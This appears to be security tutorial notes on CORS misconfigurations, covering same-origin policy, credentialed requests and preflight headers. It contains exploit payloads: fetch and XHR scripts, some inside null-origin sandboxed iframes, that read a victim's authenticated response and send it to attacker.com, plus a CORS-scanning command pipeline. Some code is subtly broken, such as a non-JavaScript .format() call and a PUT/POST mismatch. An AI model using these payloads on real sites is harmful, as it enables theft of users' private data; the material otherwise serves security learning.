Cross-Origin Resource Sharing (CORS) standard enables servers to define who can access their assets and which HTTP request methods are permitted from external sources.
A same-origin policy mandates that a server requesting a resource and the server hosting the resource share the same protocol
(e.g., http://), domain name
(e.g., internal-web.com), and port
(e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.
This header can allow multiple origins, a null
value, or a wildcard *
. However, no browser supports multiple origins, and the use of the wildcard *
is subject to limitations. (The wildcard must be used alone, and its use alongside Access-Control-Allow-Credentials: true
is not permitted.)
This header is issued by a server in response to a cross-domain resource request initiated by a website, with the browser automatically adding an Origin
header.
By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials
header to true
.
If set to true, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch("https://target.com/api/user/profile", {
credentials: "include"
})
.then((response) => {
document.location = "//attacker.com/log?key={0}".format(response.text());
});
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
When initiating a cross-domain request under specific conditions, such as using a non-standard HTTP method (anything other than HEAD
, GET
, POST
), introducing new headers, or employing a special Content-Type header value, a pre-flight request may be required. This preliminary request, leveraging the
OPTIONS
method, serves to inform the server of the forthcoming cross-origin request's intentions, including the HTTP methods and headers it intends to use.
The Cross-Origin Resource Sharing (CORS) protocol mandates this pre-flight check to determine the feasibility of the requested cross-origin operation by verifying the allowed methods, headers, and the trustworthiness of the origin. For a detailed understanding of what conditions circumvent the need for a pre-flight request, refer to the comprehensive guide provided by Mozilla Developer Network (MDN).
It's crucial to note that the absence of a pre-flight request does not negate the requirement for the response to carry authorization headers. Without these headers, the browser is incapacitated in its ability to process the response from the cross-origin request.
Consider the following illustration of a pre-flight request aimed at employing the PUT
method along with a custom header named Special-Request-Header:
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
In response, the server might return headers indicating the accepted methods, the allowed origin, and other CORS policy details, as shown below:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
echo https://target.com | hakrawler | httpx -silent | CorsMe